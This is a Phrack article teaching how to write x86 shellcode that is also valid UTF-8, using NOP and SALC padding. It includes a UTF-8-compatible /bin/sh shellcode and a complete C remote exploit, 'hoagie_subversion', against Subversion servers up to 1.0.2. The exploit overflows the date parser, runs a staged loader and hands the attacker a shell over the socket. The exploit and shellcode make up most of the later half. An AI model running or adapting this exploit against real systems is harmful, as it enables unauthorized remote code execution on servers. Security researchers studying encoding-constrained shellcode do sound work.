==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00

|=--------------[ Writing UTF-8 compatible shellcodes ]-----------------=|
|=----------------------------------------------------------------------=|
|=-----------[ Thomas Wana aka. greuff  <greuff@void.at> ]--------------=|
|=----------------------------------------------------------------------=|

1 - Abstract

2 - What is UTF-8?
  2.1 - UTF-8 in detail
  2.2 - Advantages of using UTF-8

3 - The need for UTF-8 compatible shellcodes
  3.1. - UTF-8 sequences
    3.1.1 - Possible sequences
    3.1.2 - UTF-8 shortest form
    3.1.3 - Valid UTF-8 sequences

4 - Creating the shellcode
  4.1 - Bytes that come in handy
    4.1.1 - Continuation bytes
    4.1.2 - Masking continuation bytes
    4.1.3 - Chaining instructions
  4.2 - General design rules
  4.3 - Testing the code

5 - A working example
  5.1 - The original shellcode
  5.2 - UTF-8-ify
  5.3 - Let's try it out
  5.4 - A real exploit using these techniques

6. - Considerations
  6.1 - Automated shellcode transformer
  6.2 - UTF-8 in XML-files

7 - Greetings, last words

- ----------------------------------------------------------------------------

- ---[ 1. Abstract

This paper deals with the creation of shellcode that is recognized as
valid by any UTF-8 parser. The problem is not unlike the alphanumeric
shellcodes problem described by rix in phrack 57 [4], but fortunately
we have much more characters available, so we can almost always build
shellcode that is valid UTF-8 and does what we want.

I will show you a brief introduction into UTF-8 and will outline the
characters available for building shellcodes. You will see that it's
generally possible to make any shellcode valid UTF-8, but you will have
to think quite a bit. A working example is provided at the end for
reference.

- ----------------------------------------------------------------------------

- ---[ 2. What is UTF-8?

For a really great introduction into the topic, I highly suggest reading
the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.

UTF-8 is a character encoding, suitable to represent all 2^31 characters
defined by the UNICODE standard. The really neat thing about UTF-8 is
that all ASCII characters (the lower codepage in standard encodings like
ISO-8859-1 etc) are the same in UTF-8 - no conversion needed. That means,
in the best case, all your config files in /etc and every English text
document you have on your computer right now are already 100% valid UTF-8.

Unicode characters are written like this: U-0000007F, which stands for 
"the 128th character in the Unicode character space". You can see that
with this representation one can easily represent all 2^31 characters that
the Unicode-standard defines, but it's a waste of space (when you write
English or western text) and - much more important - makes the transition
to Unicode very hard (convert all the files you already have). "Hello"
would thus be encoded like:

   U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F

which is in hex:

   \x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00
   \x6F\x00\x00\x00

(for all you little endian friends).
What a waste of space! 20 bytes for 5 characters... The same text in
UTF-8:

   "Hello"

:-)

Let's look at the encoding in more detail.

- ---[ 2.1. UTF-8 in detail

UTF-8 can represent any Unicode character in an UTF-8 sequence between
1-6 bytes. 

As I already mentioned before, the characters in the lower codepage 
(ASCII-code) are the same in Unicode - they have the character values
U-00000000 - U-0000007F. You therefore still only need 7 bits to
represent all possible values. UTF-8 says, if you only need up to 7
bits for your character, stuff it into one byte and you are fine.

Unicode-characters that have higher values than U-0000007F must be
mapped to two or more bytes, as shown in the table below:

U-00000000 - U-0000007F: 0xxxxxxx  
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Example: U-000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS)

This character's value is between U-00000080 and U-000007FF, so we
have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF-8 fills
up the places marked 'x' above with these bits, beginning at the
lowest significant bit.

    110xxxxx 10xxxxxx
+         11   000100
    -----------------
    11000011 10000100

which results in 0xC3 0x84 in UTF-8.

Example: U-0000211C (BLACK-LETTER CAPITAL R)

The same here. According to the table above, we need 3 bytes to encode
this character.

0x211C is 00100001 00011100 binary. Lets fill up the spaces:

    1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
+         00   100001   000100   011100
    -----------------------------------
    11100000 10100001 10000100 10011100

which is 0xE0 0xB1 0x84 0x9C in UTF-8.

I hope you get the point now :-)

- ---[ 2.2. Advantages of using UTF-8

UTF-8 combines the flexibility of Unicode (think of it: no more codepages
mess!) with the ease-of-use of traditional encodings. Also, the transition
to complete worldwide UTF-8 support is easy to do, because every plain-
7-bit-ASCII-file that exists right now (and existed since the 60s) will
be valid in the future too, without any modifications. Think of all your
config files!

- ----------------------------------------------------------------------------

- ---] 3. The need for UTF-8 compatible shellcodes

So, since we know now that UTF-8 is going to save our day in the future,
why would we need shellcodes that are valid UTF-8 texts?

Well, UTF-8 is the default encoding for XML, and since more and more
protocols start using XML and more and more networking daemons use these
protocols, the chances to find a vulnerability in such a program
increases. Additionally, applications start to pass user input around 
encoded in UTF-8. So sooner or later, you will overflow a buffer with
UTF-8-data. Now you want that data to be executable AND valid UTF-8.

- ---] 3.1. UTF-8 sequences

Fortunately, the situation is not _that_ desperate, compared to 
alphanumeric shellcodes. There, we only have a very limited character
set, and this really limits the instructions available. With UTF-8, we
have a much bigger character space, but there is one problem: we are
limited in the _sequence_ of characters. For example, with alphanumeric
shellcodes we don't care if the sequence is "AAAC" or "CAAA" (except
for the problem, of course, that the instructions have to make sense :))
But with UTF-8, for example, 0xBF must not follow 0xBF. Only certain
bytes may follow other bytes. This is what the UTF-8-shellcode-magic
is all about.

- ---] 3.1.1. Possible sequences

Let's look into the available "UTF-8-codespace" more closely:

U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F
   This is much like the alphanumeric shellcodes - any character
   can follow any character, so 0x41 0x42 0x43 is no problem, for
   example.

U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
   First byte: 0xC0 - 0xDF
   Second byte: 0x80 - 0xBF
   You see the problem here. A valid sequence would be 0xCD 0x80
   (do you remember that sequence - int $0x80 :)), because the byte
   following 0xCD must be between 0x80 and 0xBF. An invalid 
   sequence would be 0xCD 0x41, every UTF-8-parser chokes on 
   this.
   
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
   First byte: 0xE0 - 0xEF
   Following 2 bytes: 0x80 - 0xBF
   So, if the sequence starts with 0xE0 to 0xEF, there must be
   two bytes following between 0x80 and 0xBF. Fortunately we can
   often use 0x90 here, which is nop. But more on that later.

U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF0 - 0xF7
   Following 3 bytes: 0x80 - 0xBF
   You get the point.

U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF8 - 0xFB
   Following 4 bytes: 0x80 - 0xBF

U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xFC - 0xFD
   Following 5 bytes: 0x80 - 0xBF

So we know now what bytes make up UTF-8:

0x00 - 0x7F without problems
0x80 - 0xBF only as a "continuation byte" in the middle of a sequence
0xC0 - 0xDF as a start-byte of a two-byte-sequence (1 continuation byte)
0xE0 - 0xEF as a start-byte of a three-byte-sequence (2 continuation bytes)
0xF0 - 0xF7 as a start-byte of a four-byte-sequence (3 continuation bytes)
0xF8 - 0xFB as a start-byte of a five-byte-sequence (4 continuation bytes)
0xFC - 0xFD as a start-byte of a six-byte-sequence (5 continuation bytes)
0xFE - 0xFF not usable! (actually, they may be used only once in a UTF-8-
            text - the sequence 0xFF 0xFE marks the start of such a
            text)

- ---] 3.1.2. UTF-8 shortest form

Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2]
specifies that UTF-8-parsers only accept the "UTF-8 shortest form"
as a valid sequence.

What's the problem here? 

Well, without that rule, we could encode the character U+0000000A (line
feed) in many different ways:

0x0A - this is the shortest possible form
0xC0 0x8A
0xE0 0x80 0x8A
0xF0 0x80 0x80 0x8A
0xF8 0x80 0x80 0x80 0x8A
0xFC 0x80 0x80 0x80 0x80 0x8A

Now that would be a big security problem, if UTF-8 parsers accepted
_all_ the possible forms. Look at the strcmp routine - it compares two
strings byte per byte to tell if they are equal or not (that still works
this way when comparing UTF-8-strings). An attacker could generate a string
with a longer form than necessary and so bypass string comparison checks,
for example.

Because of this, UTF-8-parsers are _required_ to only accept the shortest
possible form of a sequence. This rules out sequences that start with one
of the following byte patterns:

1100000x (10xxxxxx)
11100000 100xxxxx (10xxxxxx)
11110000 1000xxxx (10xxxxxx 10xxxxxx)
11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)
11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx) 

Now certain sequences become invalid, for example 0xC0 0xAF, because
the resulting UNICODE character is not encoded in its shortest form.

- ---] 3.1.3. Valid UTF-8 sequences

Now that we know all this, we can tell which sequences are valid
UTF-8:

 Code Points      1st Byte  2nd Byte 3rd Byte 4th Byte
U+0000..U+007F     00..7F          
U+0080..U+07FF     C2..DF    80..BF       
U+0800..U+0FFF     E0        A0..BF   80..BF    
U+1000..U+FFFF     E1..EF    80..BF   80..BF    
U+10000..U+3FFFF   F0        90..BF   80..BF   80..BF
U+40000..U+FFFFF   F1..F3    80..BF   80..BF   80..BF
U+100000..U+10FFFF F4        80..8F   80..BF   80..BF

Let's look how to build UTF-8-shellcode!

- ----------------------------------------------------------------------------

- ---] 4. Creating the shellcode

Before you start, be sure that you are comfortable creating "standard" 
shellcode, i.e. shellcode that has no limitations in the instructions 
available. 

We know which characters we can use and that we have to pay attention to
the character sequence. Basically, we can transform any shellcode to
UTF-8 compatible shellcode, but we often need some tricks.

- ---] 4.1. Bytes that come in handy

The biggest problem while building UTF-8-shellcode is that you have
to get the sequences right.

     "\x31\xc9"          // xor %ecx, %ecx
     "\x31\xdb"          // xor %ebx, %ebx

We start with \x31. No problem here, \x31 is between \x00 and \x7f,
so we don't need any more continuation bytes. \xc9 is next. Woops -
it is between \xc2 and \xdf, so we need a continuation byte. What
byte is next? \x31 - that is no valid continuation byte (which 
have to be between \x80 and \xbf). So we have to insert an instruction
here that doesn't harm our code *and* makes the sequence UTF-8-
compatible. 

- ---] 4.1.1. Continuation bytes

We are lucky here. The nop instruction (\x90) is the perfect 
continuation byte and simply does nothing :) (exception: you can't use
it if it is the first continuation byte in a \xe1-\xef sequence - 
see the table in 3.1.3). 

So to handle the problem above, we would simply do the following:

     "\x31\xc9"          // xor %ecx, %ecx
     "\x90"              // nop (UTF-8)
     "\x31\xdb"          // xor %ebx, %ebx
     "\x90"              // nop (UTF-8)

(I always mark bytes I inserted because of UTF-8 so I don't accidentally
optimize them away later when I need to save space)

- ---] 4.1.2. Masking continuation bytes

The other way round, you often have instructions that start with a
continuation byte, i.e. the first byte of the instruction is between
\x80 and \xbf:

     "\x8d\x0c\x24"      // lea (%esp,1),%ecx

That means you have to find an instruction that is only one byte long
and lies between \xc2 and \xdf.

The most suitable one I found here is SALC [2]. This is an *undocumented*
Intel opcode, but every Intel CPU (and compatible) supports it. The
funny thing is that even gdb reports an "invalid opcode" there. But it
works :) The opcode of SALC is \xd6 so it suits our purpose well.

The bad thing is that it has side effects. This instruction modifies
%al depending on the carry flag (see [3] for details). So always think
about what happens to your %eax register when you insert this instruction!

Back to the example, the following modification makes the sequence valid
UTF-8:

     "\xd6"              // salc (UTF-8)
     "\x8d\x0c\x24"      // lea (%esp,1),%ecx

- ---] 4.1.3. Chaining instructions

If you are lucky, instructions that begin with continuation bytes follow
instructions that need continuation bytes, so you can chain them together,
without inserting extra bytes.

You can often safe space this way just by rearranging instructions, so
think about it when you are short of space.

- ---] 4.2. General design rules

%eax is evil. Try to avoid using it in instructions that use it as a
parameter because the instruction then often contains \xc0 which is
invalid in UTF-8. Use something like

    xor %ebx, %ebx
    push %ebx
    pop %eax

(pop %eax has an instruction code of its own - and a very UTF-8 friendly
one, too :)

- ---] 4.3. Testing the code

How can you test the code? Use iconv, it comes with the glibc. You
basically convert the UTF-8 to UTF-16, and if there are no error
messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences
can yield character codes well beyond 0xFF, so the conversion would
fail in the other direction if you would convert to LATIN1 or ASCII.
Drove me nuts some time ago, because I always thought my UTF-8 was
wrong...)

First, invalid UTF-8:

greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 31 db                                       |1.1.|
00000004
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1iconv: illegal input sequence at position 1
greuff@pluto:/tmp$

And now valid UTF-8:

greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 90 31 db 90                                 |1..1..|
00000006
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1P1greuff@pluto:/tmp$

- ----------------------------------------------------------------------------

- ---] 5. A working example

Now onto something practical. Let's convert a classical /bin/sh-spawning
shellcode to UTF-8.

- ---] 5.1. The original shellcode

    "\x31\xd2"                // xor    %edx,%edx
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\x89\xe3"                // mov    %esp,%ebx
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\x89\xe1"                // mov    %esp,%ecx
    "\xb8\x0bx\00\x00\x00"    // mov    $0xb,%eax
    "\xcd\x80"                // int    $0x80

The code simply prepares the stack in the right way, sets some registers
and jumps into kernel space (int $0x80).

- ---] 5.2. UTF-8-ify

That's an easy example, no big obstacles here. The only obvious problem
is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just
copy %edx (which is guaranteed to contain 0 at this time) to %eax and 
increase it 11 times :) 

The new shellcode looks like this (wrapped into a C program so you
can try it out):

- ----------8<------------8<-------------8<------------8<---------------
#include <stdio.h>

char shellcode[]=
    "\x31\xd2"                // xor    %edx,%edx
    "\x90"                    // nop (UTF-8 - because previous byte was 0xd2)
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe3"                // mov    %esp,%ebx
    "\x90"                    // nop (UTF-8 - two nops because of 0xe3)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe1"                // mov    %esp,%ecx
    "\x90"                    // nop (UTF-8 - same here)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push %edx
    "\x58"                    // pop %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\xcd\x80"                // int    $0x80
    ;

void main()
{
   int *ret;
   FILE *fp;
   fp=fopen("out","w");
   fwrite(shellcode,strlen(shellcode),1,fp);
   fclose(fp);
   ret=(int *)(&ret+2);
   *ret=(int)shellcode;
}
- ----------8<------------8<-------------8<------------8<---------------

As you can see, I used nop's as continuation bytes as well as salc
to mask out continuation bytes. You'll quickly get an eye for this
if you do it often.

- ---] 5.3. Let's try it out

greuff@pluto:/tmp$ gcc test.c -o test
test.c: In function `main':
test.c:37: warning: return type of `main' is not `int'
greuff@pluto:/tmp$ ./test
sh-2.05b$ exit
exit
greuff@pluto:/tmp$ hexdump -C out
00000000  31 d2 90 52 68 6e 2f 73  68 68 2f 2f 62 69 d6 89  |1..Rhn/shh//bi..|
00000010  e3 90 90 52 53 d6 89 e1  90 90 52 58 40 40 40 40  |...RS.....RX@@@@|
00000020  40 40 40 40 40 40 40 cd  80                       |@@@@@@@..|
00000029
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 out && echo valid!
1Rhn/shh//bi4RSRX@@@@@@@@@@@@valid!
greuff@pluto:/tmp$

Hooray! :-)

- ---] 5.4. A real exploit using these techniques

The recent date parsing buffer overflow in Subversion <= 1.0.2 led
me into researching these problems and writing the following exploit.
It isn't 100% finished; but it works against svn:// and http:// URLs.
The first shellcode stage is a hand crafted UTF-8-shellcode, that
searches for the socket file descriptor and loads a second stage shellcode
from the exploit and executes it. A real life example showing you that
these things actually work :)

- ----------8<------------8<-------------8<------------8<---------------
/*****************************************************************
 * hoagie_subversion.c
 *
 * Remote exploit against Subversion-Servers.
 *
 * Author: greuff <greuff@void.at>
 *
 * Tested on Subversion 1.0.0 and 0.37
 *
 * Algorithm:
 * This is a two-stage exploit. The first stage overflows a buffer
 * on the stack and leaves us ~60 bytes of machine code to be
 * executed. We try to find the socket-fd there and then do a 
 * read(2) on the socket. The exploit then sends the second stage
 * loader to the server, which can be of any length (up to the
 * obvious limits, of course). This second stage loader spawns 
 * /bin/sh on the server and connects it to the socket-fd.
 *
 * Credits:
 *    void.at
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stage1loader[]=
             // begin socket fd search
             "\x31\xdb"            // xor %ebx, %ebx
             "\x90"                // nop (UTF-8)
             "\x53"                // push %ebx
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x5f"                // pop %edi                # %eax = %ebx = %edi = 0
             "\x2c\x40"            // sub $0x40, %al
             "\x50"                // push %eax
             "\x5b"                // pop %ebx
             "\x50"                // push %eax
             "\x5a"                // pop %edx                # %ebx = %edx = 0xC0
             "\x57"                // push %edi
             "\x57"                // push %edi               # safety-0
             "\x54"                // push %esp
             "\x59"                // pop %ecx                # %ecx = pointer to the buffer
             "\x4b"                // dec %ebx                # beginloop:
             "\x57"                // push %edi
             "\x58"                // pop %eax                # clear %eax
             "\xd6"                // salc (UTF-8)
             "\xb0\x60"            // movb $0x60, %al
             "\x2c\x44"            // sub $0x44, %al          # %eax = 0x1C
             "\xcd\x80"            // int $0x80               # fstat(i, &stat)
             "\x58"                // pop %eax
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x50"                // push %eax
             "\x38\xd4"            // cmp %dl, %ah            # uppermost 2 bits of st_mode set?
             "\x90"                // nop (UTF-8)
             "\x72\xed"            // jb beginloop
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)             # %ebx now contains the socket fd
             // begin read(2)
             "\x57"                // push %edi
             "\x58"                // pop %eax                # zero %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax                # %eax=3
             //"\x54"                // push %esp
             //"\x59"                // pop %ecx                # %ecx ... address of buffer
             //"\x54"                // push %edi
             //"\x5a"                // pop %edx                # %edx ... bufferlen (0xC0)
             "\xcd\x80"            // int $0x80               # read(2) second stage loader
             "\x39\xc7"            // cmp %eax, %edi
             "\x90"                // nop (UTF-8)
             "\x7f\xf3"            // jg startover
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x54"                // push %esp
             "\xc3"                // ret                     # execute second stage loader
             "\x90"                // nop (UTF-8)
             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.
             ;

char stage2loader[]=
             // dup2 - %ebx contains the fd
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x01\x00\x00\x00"   // mov $0x1, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x02\x00\x00\x00"   // mov $0x2, %ecx
             "\xcd\x80"               // int $0x80
             // start /bin/sh
             "\x31\xd2"               // xor %edx, %edx
             "\x52"                   // push %edx
             "\x68\x6e\x2f\x73\x68"   // push $0x68732f6e
             "\x68\x2f\x2f\x62\x69"   // push $0x69622f2f
             "\x89\xe3"               // mov %esp, %ebx
             "\x52"                   // push %edx
             "\x53"                   // push %ebx
             "\x89\xe1"               // mov %esp, %ecx
             "\xb8\x0b\x00\x00\x00"   // mov $0xb, %eax
             "\xcd\x80"               // int $0x80
             "\xb8\x01\x00\x00\x00"   // mov $0x1, %eax
             "\xcd\x80"               // int %0x80     (exit)
             ;

int stage2loaderlen=69;
             
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";

char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";

int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
{
   char *ptr;
   char bfr[1000];
   
   ptr=strstr(uri,"://");
   if(!ptr) return -1;
   *ptr=0;
   snprintf(bfr,sizeof(bfr),"%s",uri);
   if(!strcmp(bfr,"http"))
      *proto=HTTP, *port=80;
   else if(!strcmp(bfr,"svn"))
      *proto=SVN, *port=3690;
   else
   {
      printf("Unsupported protocol %s\n",bfr);
      return -1;
   }
   uri=ptr+3;
   if((ptr=strchr(uri,':')))
   {
      *ptr=0;
      snprintf(host,1000,"%s",uri);
      uri=ptr+1;
      if((ptr=strchr(uri,'/'))==NULL) return -1;
      *ptr=0;
      snprintf(bfr,1000,"%s",uri);
      *port=(int)strtol(bfr,NULL,10);
      *ptr='/';
      uri=ptr;
   }
   else if((ptr=strchr(uri,'/')))
   {
      *ptr=0;
      snprintf(host,1000,"%s",uri);
      *ptr='/';
      uri=ptr;
   }
   snprintf(repos,1000,"%s",uri);
   return 0;
}

int exec_sh(int sockfd)
{
   char snd[4096],rcv[4096];
   fd_set rset;
   while(1)
   {
      FD_ZERO(&rset);
      FD_SET(fileno(stdin),&rset);
      FD_SET(sockfd,&rset);
      select(255,&rset,NULL,NULL,NULL);
      if(FD_ISSET(fileno(stdin),&rset))
      {
         memset(snd,0,sizeof(snd));
         fgets(snd,sizeof(snd),stdin);
         write(sockfd,snd,strlen(snd));
      }
      if(FD_ISSET(sockfd,&rset))
      {
         memset(rcv,0,sizeof(rcv));
         if(read(sockfd,rcv,sizeof(rcv))<=0)
            exit(0);
         fputs(rcv,stdout);
      }
   }
}

int main(int argc, char **argv)
{
   int sock, port;
   size_t size;
   char cmd[1000], reply[1000], buffer[1000];
   char svdcmdline[1000];
   char host[1000], repos[1000], *ptr, *caddr;
   unsigned long addr;
   struct sockaddr_in sin;
   struct hostent *he;
   enum protocol proto;

   /*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
   write(sock,stage1loader,strlen(stage1loader));
   close(sock);
   return 0;*/

   printf("hoagie_subversion - remote exploit against subversion servers\n"
          "by greuff@void.at\n\n");
   if(argc!=3)
   {
      printf("Usage: %s serverurl offset\n\n",argv[0]);
      printf("Examples:\n"
             "   %s svn://localhost/repository 0x41414141\n"
             "   %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
      printf("The offset is an alphanumeric address (or UTF-8 to be\n"
             "more precise) of a pop instruction, followed by a ret.\n"
             "Brute force when in doubt.\n\n");
      printf("When exploiting against an svn://-url, you can supply a\n"
             "binary offset too.\n\n");
      exit(1);
   }

   // parse the URI
   snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
   if(parse_uri(argv[1],&proto,host,&port,repos)<0)
   {
      printf("URI parse error\n");
      exit(1);
   }
   printf("parse_uri result:\n"
          "Protocol: %d\n"
          "Host: %s\n"
          "Port: %d\n"
          "Repository: %s\n\n",proto,host,port,repos);
   addr=strtoul(argv[2],NULL,16);
   caddr=(char *)&addr;
   printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);

   sock=socket(AF_INET,SOCK_STREAM,0);
   if(sock<0)
   {
      perror("socket");
      return -1;
   }

   he=gethostbyname(host);
   if(he==NULL)
   {
      herror("gethostbyname");
      return -1;
   }
   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
   if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
   {
      perror("connect");
      return -1;
   }

   if(proto==SVN)
   {
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
            caddr[0],caddr[1],caddr[2],caddr[3]);
      write(sock,cmd,strlen(cmd));
      size=read(sock,reply,sizeof(reply));
      reply[size]=0;
      printf("Server said: %s\n",reply); 
   }
   else if(proto==HTTP)
   {
      // preparing the request...
      snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
            caddr[0],caddr[1],caddr[2],caddr[3]);
      size=strlen(buffer);
      snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);

      // now sending the request, immediately followed by the 2nd stage loader
      printf("Sending:\n%s",cmd);
      write(sock,cmd,strlen(cmd));
      sleep(1);
      write(sock,stage2loader,stage2loaderlen);
   }

   // SHELL LOOP
   printf("Entering shell loop...\n");
   exec_sh(sock);

   /*sleep(1);
   close(sock);
   printf("\nConnecting to the shell...\n");
   exec_sh(connect_sh()); */
   return 0;
}
- ----------8<------------8<-------------8<------------8<---------------

- ----------------------------------------------------------------------------

- ---] 6. Considerations

Some thoughts about the whole topic.

- ---] 6.1. Automated shellcode transformer

Perhaps it's possible to write an automated shellcode transformer that gets
a shellcode and outputs the shellcode UTF-8 compatible (similar to rix's
alphanumeric shellcode compiler [4]), but it would be a challenge. Many
decisions during the transformation process cannot be automated in my
opinion. (By the way - alphanumeric shellcode is of course valid UTF-8!
So if you want to save time and space it's not a problem, just use the 
alphanumeric shellcode compiler on your shellcode and use that!)

- ---] 6.2. UTF-8 in XML-files

When you write UTF-8 shellcode for the purpose of sending it in an XML-
document, you'll have to care for a few more things. The bytes \x00 to
\x08 are forbidden in XML, as well as the obvious characters like '<',
'>' and so on. Don't forget that when you exploit your favourite XML-
processing app!
 
- ----------------------------------------------------------------------------

- ---] 7. Greetings, last words

andi@void.at (man, get a nick :))
soletario (the indoor snowboarder)
ReAction
all the other people who often helped me out

- ----------------------------------------------------------------------------

[1] http://www.cl.cam.ac.uk/~mgk25/unicode.html
[2] http://www.unicode.org/versions/corrigendum1.html
[3] http://www.x86.org/secrets/opcodes/salc.htm
[4] http://www.phrack.org/show.php?p=57&a=15

|=[ EOF ]=---------------------------------------------------------------=|